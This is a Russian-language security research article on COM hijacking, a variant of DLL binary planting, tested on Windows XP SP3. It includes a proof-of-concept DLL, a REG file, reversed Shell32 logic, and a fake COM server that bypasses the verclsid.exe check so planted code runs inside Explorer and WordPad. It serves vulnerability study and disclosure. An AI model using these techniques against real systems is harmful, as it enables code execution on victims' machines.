Exploit.SWF.Agent.br Pdfka.asd Pidief.cvl TDSS TDSS removal binary planting bios infection blind sqli bootkit bootkit remover browser exploitation com hijacking disassembling dll hijacking drive-by downloads hack online banks heap-spray hijack botnet ibank kernel protection kernel-mode rootkit keylogger malware analysis rootkit detection trojan virus removal

COM Hijacking, или DLL Hijacking come back

Кирилл Солдатов
lyr1k.2008@gmail.com

Введение

Многие слышали про нашумевшие атаки типа DLL Hijacking , однако далеко не все знают про одну из разновидностей таких атак — COM Hijacking, или COM-Server Based Binary Planting[1]. Что же общего имеют эти атаки с DLL Hijacking? Для ответа на этот вопрос нужно рассмотреть используемый в Windows механизм OLE\COM.

Статья также доступна на английском языке

1. Binary Planting - The Official Web Site

Итак, COM, или Component Object Model (объектная модель компонентов), — это стандарт, разработанный Microsoft, который поддерживает межпроцессорное взаимодействие и динамическое создание объектов вне зависимости от языка программирования. Другими словами, это метод обмена двоичного кода в различных приложениях и языках. Это значит, что при условии соблюдения стандарта COM-компонент может быть написан на любом языке. На сегодняшний момент в мире Windows существует очень много технологий, но практически все из них в той или иной мере построены на COM: OLE, ActiveX, COM+, DCOM.

Начнем с определений, которые используются в мире COM. Интерфейс (interface) — это просто группа функций. Эти функции называются методами (methods). Как правило, интерфейсам принято давать названия, начинающиеся с буквы I, например IShellFolder. Интерфейсы могут наследоваться от других интерфейсов. Однако здесь наследование работает так же, как и одиночное наследование в C++, т. е. в COM-стандарте нет понятия множественного наследования. Объект компонентного класса (coclass — component object class) содержится в DLL или в EXE и непосредственно включает код одного или нескольких интерфейсов. Говорят, что coclass реализует (implement) эти интерфейсы. COM-объект (COM-object) — это экземпляр coclass’а в памяти. COM-сервер (COM-server) — это двоичный файл (COM или EXE), который содержит один или несколько coclass’ов. COM-библиотека (COM-library) — это часть ОС, отвечающая за взаимодействие с приложением. GUID (globally unique identifier) — это 128-битное число, которое позволяет однозначно идентифицировать «объекты» в мире COM:

Ну вот, в общем, и закончилось введение в мир COM. Если сейчас вы путаетесь в этих определениях, не стоит бояться, так как, когда мы перейдем к практике, всё сразу встанет на свои места.

Суть атаки COM-Server Based Binary Planting

Все скриншоты, представленные в этой статье, сделаны на виртуальной машине Windows XP SP3 Rus x86 (все фиксы на 2011-12-14).

Многие знают, что в Windows существуют так называемые виртуальные папки (virtual folders). К ним относятся «Панель управления», «Мой компьютер» и др. В реестре Windows каждой такой папке соответствует свой CLSID. Например, «Мой компьютер» имеет CLSID «{20D04FE0-3AEA-1069-A2D8-08002B30309D}», «Панель управления» — CLSID «{21EC2020-3AEA-1069-A2DD-08002B30309D}». Зная эти CLSID, можно легко открывать соответствующие виртуальные папки через Win + R (Пуск -> Выполнить). При этом нужно добавить «::» перед CLSID:

Однако если вы попытаетесь открыть «Панель управления», то ничего не выйдет, поскольку она является подпапкой «Мой компьютер». Таким образом, чтобы открыть «Панель управления», надо указать полный путь к ней: «::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}». Но что, если создать папку с именем «Test.{20D04FE0-3AEA-1069-A2D8-08002B30309D}»? В результате у нас появится папка Test, которая, если смотреть через explorer.exe, будет иметь значок «Мой компьютер» (полный путь к папке: С:\Documents and Settings\Administrator\Desktop\SomeFolder\Test.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\):

Более того, попытавшись перейти в эту папку, мы окажемся в папке «Мой компьютер». Отметим, что расширение созданной нами папки (то, что отделено от ее имени последней точкой) скрыто от explorer.exe. Давайте определим, какая DLL отвечает за обслуживание «Мой компьютер». Для этого посмотрим значение по умолчанию в реестре по ключу «HKLM\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32»:

Таким образом, за обслуживание «Мой компьютер» отвечает библиотека shell32.dll. Следовательно, можно предположить, что при переходе в эту папку загружается shell32.dll (но загрузки не происходит, поскольку эта библиотека и так всегда загружена). Для проверки этого предположения создадим DLL-библиотеку (исходник и бинарник есть в архиве, который прилагается к статье):

#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>

#pragma comment(lib, “user32.lib”)

BOOL WINAPI
DllMain( 
    IN HMODULE hModule, 
    IN DWORD   dwReason, 
    IN LPVOID  lpReserved
) 
{     
    switch (dwReason) 
    { 
    case DLL_PROCESS_ATTACH: 
        { 
            TCHAR szModulePath[MAX_PATH], szProcessModulePath[MAX_PATH]; 
            TCHAR szMessage[MAX_PATH]; 
            ZeroMemory(szModulePath, sizeof(szModulePath)); 
            ZeroMemory(szProcessModulePath,  
                sizeof(szProcessModulePath)); 

            GetModuleFileName(hModule, szModulePath, MAX_PATH – 1); 
            GetModuleFileName(GetModuleHandle(NULL),  
                szProcessModulePath, MAX_PATH – 1); 

            _stprintf_s( 
                szMessage,  
                _T(“DLL library \”%s\” injected into the process \”%s\” (PID=%d)”), 
                szModulePath, szProcessModulePath, GetCurrentProcessId() 
                ); 

            MessageBox(0, szMessage, _T(“HACKED!”), MB_ICONERROR);
            break; 
        }

    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH: 
    case DLL_PROCESS_DETACH: 
        break; 
    } 

    return (FALSE); 
}

Откомпилируем эту библиотеку в FakeSHELL32.dll (cl.exe FakeSHELL32.cpp /MT /D “UNICODE” /D “_UNICODE” /LD), поместим в папку «C:\1\» и изменим путь в реестре:

Теперь при переходе в папку «Test.{20D04FE0-3AEA-1069-A2D8-08002B30309D}» мы увидим следующее:

Таким образом, система действительно загружает COM-сервер, которому соответствует CLSID «{20D04FE0-3AEA-1069-A2D8-08002B30309D}» (почему DLL внедрилась в verclsid.exe, будет объяснено дальше).

Пример проведения атаки

Для примера возьмем общедоступный PoC[2]. На сайте написано, что если у вас стоит обновление[3] MS11-071, то проэксплуатировать уязвимость не получится. Поскольку в нашей тестовой системе это обновление установлено, придется вручную создать CLSID и по минимуму его заполнить. Для этого создадим и запустим следующий REG-файл (также есть в архиве, прилагающемся к статье):

[HKEY_CLASSES_ROOT\CLSID\{42071714-76d4-11d1-8b24-00a0c9068ff3}]

[HKEY_CLASSES_ROOT\CLSID\{42071714-76d4-11d1-8b24-00a0c9068ff3}\InProcServer32]
@="deskpan.dll"
"ThreadingModel"="Apartment"

После внесения всех необходимых изменений создадим папку «Files.{42071714-76d4-11d1-8b24-00a0c9068ff3}» (я создал ее на рабочем столе). Переименуем нашу DLL-библиотеку в deskpan.dll и переместим ее в эту папку. Также создадим в ней пустой RTF-документ (следуя советам из «The Anatomy of COM Server-Based Binary Planting Exploits»[4]). При попытках открыть этот файл… ничего не происходит. Чтобы выяснить, в чем же причина, запустим ProcessMonitor и настроим фильтры. Видно, что, когда мы запускаем RTF-файл, система всё же осуществляет поиск DLL, но в контексте процесса verclsid.exe (C:\Windows\system32\verclsid.exe):

Переименуем этот файл в verclsid.exe и опять попробуем открыть RTF-документ. Ура! Теперь уязвимость срабатывает так, как и написано в «The Anatomy of COM Server-Based Binary Planting Exploits».

Что же происходит в недрах ОС? Почему DLL не запускается при наличии verclsid.exe? Давайте попробуем разобраться.

Условия эффективности атаки

Сначала посмотрим, какие функции вызываются, если в системе нет verclsid.exe. Для этого поместим точку останова в DllMain и запустим это всё под отладчиком. Итак, стек вызовов для моей тестовой машины выглядит следующим образом:

kd> k 40 ChildEBP RetAddr 
0006c4fc 10001027 ntdll!DbgBreakPoint
0006cb24 10001456 deskpan!DllMain+0x27 
0006cb64 100014fe deskpan!__DllMainCRTStartup+0x6c [f:\dd\vctools\crt_bld\self_x86\crt\src\dllcrt0.c @ 330] 
0006cb70 7c90118a deskpan!_DllMainCRTStartup+0x1e [f:\dd\vctools\crt_bld\self_x86\crt\src\dllcrt0.c @ 293] 
0006cb90 7c91b5d2 ntdll!LdrpCallInitRoutine+0x14 
0006cc98 7c9162db ntdll!LdrpRunInitializeRoutines+0x344 
0006cf44 7c91643d ntdll!LdrpLoadDll+0x3e5 
0006d1ec 7c801bbd ntdll!LdrLoadDll+0x230 
0006d254 77511fc5 kernel32!LoadLibraryExW+0x18e 
0006d278 77511ee1 ole32!CClassCache::CDllPathEntry::LoadDll+0x6c 
0006d2a8 77511364 ole32!CClassCache::CDllPathEntry::Create_rl+0x37 
0006d4f4 77511287 ole32!CClassCache::CClassEntry::CreateDllClassEntry_rl+0xd6 
0006d53c 775111e5 ole32!CClassCache::GetClassObjectActivator+0x195 0006d568 
77510d4f ole32!CClassCache::GetClassObject+0x23 0006d5e4 
77510bf3 ole32!CServerContextActivator::CreateInstance+0x106 
0006d624 77510e42 ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 
0006d678 77510db9 ole32!CApartmentActivator::CreateInstance+0x110 
0006d698 77511c08 ole32!CProcessActivator::CCICallback+0x6d 
0006d6b8 77511bbf ole32!CProcessActivator::AttemptActivation+0x2c 
0006d6f0 77510ea3 ole32!CProcessActivator::ActivateByContext+0x42 
0006d718 77510bf3 ole32!CProcessActivator::CreateInstance+0x49 0006d758 
77510b8e ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 
0006d9a8 77510bf3 ole32!CClientContextActivator::CreateInstance+0x8f 
0006d9e8 77510a38 ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 
0006e198 774ff1b3 ole32!ICoCreateInstanceEx+0x3c9 0006e1c0
774ff182 ole32!CComActivator::DoCreateInstance+0x28 0006e1e4 
774ff1f0 ole32!CoCreateInstanceEx+0x1e 0006e214 
77f6947c ole32!CoCreateInstance+0x37 
0006e23c 7c9f1621 SHLWAPI!SHCoCreateInstanceAC+0x3a 
0006e620 7c9f29d8 SHELL32!_SHCoCreateInstance+0x127 
0006e660 7c9f2997 SHELL32!SHExtCoCreateInstance2+0x41 
0006e680 7ca2faca SHELL32!SHExtCoCreateInstance+0x1e
0006e8e0 7c9eda9e SHELL32!CFSFolder::_Bind+0x78 
0006e908 7c9efb4c SHELL32!CFSFolder::BindToObject+0xa0 
0006e9c4 7c9efb73 SHELL32!CFSFolder::ParseDisplayName+0x1cb 
0006ea98 7c9efb73 SHELL32!CFSFolder::ParseDisplayName+0x1ee 
0006eb88 7c9efb73 SHELL32!CFSFolder::ParseDisplayName+0x1ee 
0006eca8 7c9ee24b SHELL32!CFSFolder::ParseDisplayName+0x1ee 
0006ed18 7c9ee143 SHELL32!CDrivesFolder::ParseDisplayName+0xe8 
0006ed80 7c9ee36e SHELL32!CRegFolder::ParseDisplayName+0x93 
0006eda8 7c9ee30c SHELL32!CDesktopFolder::_ChildParseDisplayName+0x22 
0006edf8 7c9ee143 SHELL32!CDesktopFolder::ParseDisplayName+0x7e 
0006ee60 7c9ee090 SHELL32!CRegFolder::ParseDisplayName+0x93 
0006ee98 7c9ee629 SHELL32!SHParseDisplayName+0xa3 
0006eebc 7c9ee5e3 SHELL32!ILCreateFromPathEx+0x3d 
0006eed8 7c9ee787 SHELL32!SHILCreateFromPath+0x17
0006eef0 7ca34cba SHELL32!ILCreateFromPathW+0x18
0006f370 728442c7 SHELL32!SHGetFileInfoW+0x117
0006f654 728441ad MFC42u!AfxResolveShortcut+0x41 
0006fc9c 728beabe MFC42u!CDocManager::OpenDocumentFile+0x8c 
0006fcc4 01013fc0 MFC42u!CWinApp::ProcessShellCommand+0x10c 
0006ff0c 72841317 WORDPAD!CWordPadApp::InitInstance+0x244 
0006ff1c 0101aa5d MFC42u!AfxWinMain+0x47 
0006ffc0 7c817077 WORDPAD!wWinMainCRTStartup+0x198 
0006fff0 00000000 kernel32!BaseProcessStart+0x23

Видно, что после вызова функции SHELL32!SHExtCoCreateInstance всегда происходит загрузка DLL. Таким образом, функцией-триггером является SHELL32!CFSFolder::_Bind:

HRESULT __stdcall
CFSFolder___Bind(
IN  const _ITEMIDLIST *pidl, 
IN  IBindCtx *pBindCtx, 
IN  const _GUID *pGUID, 
OUT void **ppv
)
{
  …
  lastItemId = (SHITEMID *)ILFindLastID((LPCITEMIDLIST)pBindCtx);
  if ( CFSFolder___GetBindCLSID(pbc, pidl, lastItemId) )
  {
    hr = SHExtCoCreateInstance(0, (const CLSID *)&guid, 0, riid, ppv);
    if ( SUCCEEDED(hr) )
    {
        …
    }
    …
  }
  …
}

Как видно из листинга, функция SHELL32!SHExtCoCreateInstance вызывается только при успешном вызове функции SHELL32!CFSFolder___GetBindCLSID, в которую передается результат работы функции SHELL32!ILFindLastID. Она, в свою очередь, получает последний элемент пути к объекту (путь к любому объекту в SHELL задаётся с помощью структуры ITEMIDLIST, более подробно — «The Complete Idiot's Guide to Writing Namespace Extensions - Part I»[5]), а функция SHELL32!CFSFolder___GetBindCLSID проверяет, является ли этот элемент CLSID’ом. Если это действительно так, то для соответствующего CLSID’а вызывается функция SHELL32!SHExtCoCreateInstance. Рассмотрим листинг этой функции:

HRESULT __stdcall 
SHExtCoCreateInstance(
IN  LPCWSTR pszCLSID,
IN  const CLSID *pclsid, 
IN  IUnknown *punkOuter,
IN  const IID *const riid,
OUT void **ppv
)
{
  return SHExtCoCreateInstance2(pszCLSID, pclsid, punkOuter, CLSCTX_INPROC_SERVER|CLSCTX_NO_CODE_DOWNLOAD, riid, ppv);
}

Таким образом, функция SHELL32!SHExtCoCreateInstance является «оберткой» вокруг функции SHELL32!SHExtCoCreateInstance2:

HRESULT __stdcall
SHExtCoCreateInstance2(
IN  LPCWSTR pszCLSID,
IN  const CLSID *pclsid,
IN  IUnknown *punkOuter,
IN  DWORD dwClsContext,
IN  const IID *const riid,
OUT void **ppv
)
{
  const CLSID *clsid;
  CLSID pClsid;

  clsid = pclsid;
  if ( pszCLSID )
  {
    SHCLSIDFromString(pszCLSID, &pClsid);
    clsid = &pClsid;
  }
  return _SHCoCreateInstance(clsid, punkOuter, dwClsContext, TRUE, riid, ppv);
}

В свою очередь, функция SHELL32!SHExtCoCreateInstance2 является «оберткой» вокруг функции SHELL32!_SHCoCreateInstance и при необходимости преобразует строку CLSID в CLSID. В нашем случае это преобразование не выполняется, поскольку первый параметр вызываемой функции SHELL32!SHExtCoCreateInstance2 равен NULL. Ключевой кусок функции SHELL32!_SHCoCreateInstance:

HRESULT __stdcall
_SHCoCreateInstance( 
IN const CLSID *pclsid, 
IN IUnknown *pUnkOuter, 
IN DWORD dwCoCreateFlags, 
IN BOOL bMustBeApproved, 
IN const IID *const riid, 
OUT void **ppv ) 
{
  HRESULT hRetCode;
  priid = riid;
  …
  if ( bMustBeApproved 
	&& SHStringFromGUIDW(pclsid, &pszClsidValue, 103) 
	&& SHStringFromGUIDW(priid, &pszIidValue, 103) 
	&& !_ShouldLoadShellExt(&pszClsidValue, &pszIidValue, dwCoCreateFlags, pvData) )
	{
		hr = E_ACCESSDENIED; 
	} 
  else
	{
		hRetCode = SHCoCreateInstanceAC(pclsid, pUnkOuter, dwCoCreateFlags, priid, ppv); 
		hr = hRetCode; 
		if ( FAILED(hRetCode) ) 
		{ 
			if ( v10 ) 
			{ 
				if ( v9 ) 
				{ 
					if (hRetCode == REGDB_E_IIDNOTREG || hRetCode == CO_E_FIRST )
						hr = _CreateFromDll(&pvData, pclsid, pUnkOuter, priid, ppv); 
				} 
			}
		}
	…
	}
}

Таким образом, логика работы функции достаточно проста: после преобразования CLSID’а и IID’а в строковые значения она вызывает функцию SHELL32!_ShouldLoadShellExt. В случае, если она возвращает ненулевое значение, вызывается функция SHLWAPI!SHCoCreateInstanceAC, которая, собственно, и загружает необходимую DLL (что и происходит в нашем случае: см. стек вызовов). Взглянем на листинг функции SHELL32!_ShouldLoadShellExt:

HRESULT __stdcall 
_ShouldLoadShellExt(
IN  LPCWSTR pszCLSID,
IN  LPCWSTR pszIID,
IN  DWORD dwClsContext,
IN  LPCWSTR lpDllName
)
{
  HRESULT result;

  if ( _FindPolicyEntry(
         &g_hklmBlockedExt,
         &g_hkcuBlockedExt,
         L"Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Blocked",
         pszCLSID)
    || SHRestricted(REST_ENFORCESHELLEXTSECURITY)
    && !_FindPolicyEntry(
          &g_hklmApprovedExt,
          &g_hkcuApprovedExt,
          L"Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved",
          pszCLSID) )
    result = S_OK;
  else
    result = _QueryClassInterface(pszCLSID, pszIID, dwClsContext);
  return result;
}

Вначале функция проверяет, не является ли данный CLSID запрещенным. Для этого она просматривает ветки реестра HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked и HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked и пытается найти в них имя параметра, которому соответствует CLSID (pszCLSID). При обнаружении такого параметра (его тип не важен), функция возвращает ненулевое значение. Затем она проверяет политику REST_ENFORCESHELLEXTSECURITY, которая, будучи включенной, разрешает запуск только доверенных расширений SHELL, т. е. тех расширений, имена которых являются параметрами ключей реестра HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved и HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved. Поскольку на тестовой машине политика REST_ENFORCESHELLEXTSECURITY не включена и ключи реестра HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked и HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked пусты, то происходит вызов функции SHELL32!_QueryClassInterface, которая и возвращает ненулевое значение. Эта функция достаточно большая и выполняет множество проверок, прежде чем вернуть управление. Для простоты разобьем алгоритм функции на пункты и подробно опишем каждый из них. Прототип функции выглядит так:

HRESULT __stdcall _QueryClassInterface( IN LPCWSTR pszCLSID, IN LPCWSTR pszIID, IN DWORD dwClsContext )
  1. Преобразование переданных значений pszCLSID, pszIID и dwClsContext в строку вида %s %s 0x%X.
  2. Поиск параметра типа REG_DWORD с именем, указанным в п. 1, в ветке реестра HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached. При обнаружении такого параметра, равного 0, функция возвращает управление с кодом 0, в противном случае — с кодом 1.
  3. Поиск параметра типа REG_BINARY с именем, указанным в п. 1, и размером 16 байт в ветке реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached.
  4. Если параметр из п. 3 найден, то функция вначале сравнивает первые четыре байта. Если они равны нулю, то функция переходит к выполнению операций, описанных в п. 5, в противном случае выполнение функции завершается с кодом, равным 1.
  5. Функция сравнивает третье и четвертое четырехбайтные слова со временем, полученным с помощью GetSystemTimeAsFileTime (см. рисунок ниже), чтобы проверить, прошло ли 10 секунд с момента последней записи в этот параметр. Если не прошло, то выполнение функции завершается с кодом, равным 0, в противном случае функция переходит к выполнению операций, описанных в п. 6.
  6. Формирование строки вида “/S /C %s /I %s /X 0x%X”, pszCLSID, pszIID, dwClsContext.
  7. Запуск процесса %WINDIR%\system32\verclsid.exe с командной строкой, указанной в п. 6.
  8. Если после вызова функции CreateProcessW произошла ошибка ERROR_FILE_NOT_FOUND (2), то выполнение функции завершается с кодом, равным 1. Если произошла ошибка, которая не равняется ERROR_FILE_NOT_FOUND, то выполнение функции завершается с этой ошибкой. Если никакой ошибки не было, то функция переходит к выполнению операций, описанных в п. 9.
  9. Функция ожидает, когда функция WaitForSingleObject завершит процесс verclsid.exe, а функция GetExitCodeProcess определит код его завершения.
  10. Формирование данных для параметра реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cachedс именем, указанным в п. 1. Разбор параметров представлен на рисунке.
    1 — управление кешированием: 0 — кеширование разрешено, 1 — запрещено;
    2 — произвольные данные;
    3 — младшие четыре байта времени, полученные с помощью функции GetSystemTimeAsFileTime;
    4 — старшие четыре байта времени, полученные с помощью функции GetSystemTimeAsFileTime
  11. Если код завершения из п. 9 равен 0, то функция завершается с кодом, равным 1, в противном случае — с кодом, равным 0.

Таким образом, мы видим, что существует достаточно много условий завершения функции SHELL32!_QueryClassInterface с кодом, отличным от 0. Одно из этих условий — завершение процесса verclsid.exe с кодом, равным 0. Проанализируем работу этой программы и выясним, для чего она предназначена.

Исследование verclsid.exe и её обход

Итак, verclsid.exe запускается функцией SHELL32!_QueryClassInterface. Эта программа анализирует CLSID, переданный ей в качестве параметра, и в зависимости от разных условий формирует код завершения. Посмотрим, с какими параметрами запускается verclsid.exe при открытии RTF-файла из нашей папки.

Итак, у нас есть ключ /S, ключ /C, после которого идет GUID, ключ /I, за которым следует ещё один GUID, и ключ /X, после которого идет шестнадцатеричное число. Дизассемблирование файла verclsid.exe помогло выяснить, за что отвечают эти ключи:

После того, как произошел разбор командной строки и приложение определило все свои входные параметры, оно инициализирует COM с помощью функции OLE32!CoInitializeEx и создает вторичный поток WatchDog, который просто засыпает на 15 секунд. Если по истечении этого времени программа не завершается, производится её принудительное завершение с кодом, равным 2:

_WatchDog@4     proc near           
    push    15000             ; dwMilliseconds
    call    ds:__imp__Sleep@4 ; Sleep(x)
    push    2                 ; uExitCode
    call    ds:__imp__GetCurrentProcess@0 ; GetCurrentProcess()
    push    eax               ; hProcess
    call    ds:__imp__TerminateProcess@8 ; TerminateProcess(x,x)
    retn    4
_WatchDog@4     endp

Затем первичный поток вызывает функцию OLE32!CoCreateInstance:

CoCreateInstance( “{42071714-76D4-11D1-8B24-00A0C9068FF3}”, NULL, CLSCTX_INPROC_SERVER|CLSCTX_NO_CODE_DOWNLOAD, “{000214E6-0000-0000-C000-000000000046}”, &ppv )

Если вызов OLE32!CoCreateInstance завершился неудачно, то программа завершается с кодом 3, в противном случае для только что созданного COM-объекта вызывается метод QueryInterface:

ppv->QueryInterface("{9B45E435-34A9-4E6B-A2A1-B0ECD284967C}", &ppvObject)

Другими словами, у нашего объекта запрашивается интерфейс «{9B45E435-34A9-4E6B-A2A1-B0ECD284967C}». Если функция QueryInterface завершается с ошибкой, то программа завершается с кодом 3, в противном случае вызывается метод Release:

ppv->Release()

После этого программа вызывает функцию OLE32!CoUninitialize для деинициализации COM и завершается с кодом, равным 0, что нам и нужно. Для того чтобы написать примитивный COM-сервер, воспользуемся документом «Description of COM principle»[6], в котором достаточно подробно описан механизм работы функции OLE32!CoCreateInstance. Исходники COM-сервера вы сможете найти в архиве, который прилагается к статье. Они достаточно тривиальны, однако есть одна хитрость. Поскольку мы всегда возвращаем значение S_OK для любого запрашиваемого интерфейса, это может привести к краху некоторых приложений. Поэтому DllMain проверяет, какое приложение вызвало эту функцию:

BOOL WINAPI
DllMain( 
    IN HINSTANCE hInstance,
    IN DWORD     dwReason,
    IN LPVOID    lpReserved
)
{
    BOOL retValue = FALSE;

    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
        {
            TCHAR processPath [MAX_PATH] = { 0 };
            TCHAR verclsidPath[MAX_PATH] = { 0 };

            GetModuleFileName(NULL, processPath, _countof(processPath));
            GetWindowsDirectory(verclsidPath, MAX_PATH);
            PathAppend(verclsidPath, _T("system32\\verclsid.exe"));

            if ( 0 == StrCmpI(processPath, verclsidPath) ) {
                retValue   = TRUE;
            } else {
                // to do what you need
                // this code will run in context on another process
            }
            DisableThreadLibraryCalls( hInstance );
            break;
        }

    case DLL_THREAD_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_DETACH:
        break;
    }

    return (retValue);
}

После этого поместим DLL в папку C:\Documents and Settings\Administrator, опять откроем наш RTF-файл и посмотрим на отладочную консоль:

kd> g 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\system32\verclsid.exe 
>>> COM-DLL-fake: DllGetClassObject 
>>> COM-DLL-fake: CSomeFactory::CSomeFactory 
>>> COM-DLL-fake: CSomeFactory::AddRef 
>>> COM-DLL-fake: CSomeFactory::QueryInterface 
>>> COM-DLL-fake: CSomeFactory::AddRef 
>>> COM-DLL-fake: CSomeFactory::Release 
>>> COM-DLL-fake: CSomeFactory::CreateInstance 
>>> COM-DLL-fake: CSomeCoClass::CSomeCoClass 
>>> COM-DLL-fake: CSomeCoClass::QueryInterface 
>>> COM-DLL-fake: CSomeCoClass::Release 
>>> COM-DLL-fake: CSomeFactory::Release 
>>> COM-DLL-fake: CSomeFactory::~CSomeFactory 
>>> COM-DLL-fake: CSomeCoClass::QueryInterface 
>>> COM-DLL-fake: CSomeCoClass::Release 
>>> COM-DLL-fake: CSomeCoClass::QueryInterface 
>>> COM-DLL-fake: CSomeCoClass::Release 
>>> COM-DLL-fake: CSomeCoClass::CSomeCoClass 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\Program Files\Windows NT\Accessories\WORDPAD.EXE 
>>> COM-DLL-fake: DllMain: process = C:\Program Files\Windows NT\Accessories\WORDPAD.EXE 
>>> COM-DLL-fake: DllMain: process = C:\Program Files\Windows NT\Accessories\WORDPAD.EXE

Как видно, теперь атака проходит успешно. Заметим, что для этого DLL должна находиться в Current Directory процесса explorer.exe.

Заключение

Резюмируя, можно сказать, что атака DLL Hijacking применима и к COM-технологии. Однако для успешной эксплуатации уязвимости злоумышленнику необходимо преодолеть ряд ограничений (обход verclsid.exe, наличие/отсутствие ключей в разных ветках реестра). Возможным направлением дальнейших исследований является поиск COM-серверов с запретом на кеширование, уязвимых к атаке DLL Hijacking.

Литература

  1. COM Server-Based Binary Planting Proof Of Concept.
  2. Silently Pwning Protected-Mode IE9 and Innocent Windows Applications.
  3. Introduction to COM - What It Is and How to Use It.
  4. Introduction to COM Part II - Behind the Scenes of a COM Server
  5. An almost complete Namespace Extension Sample.

Приложение

code-com-hijacking.7z

Last updated: 05.04.2012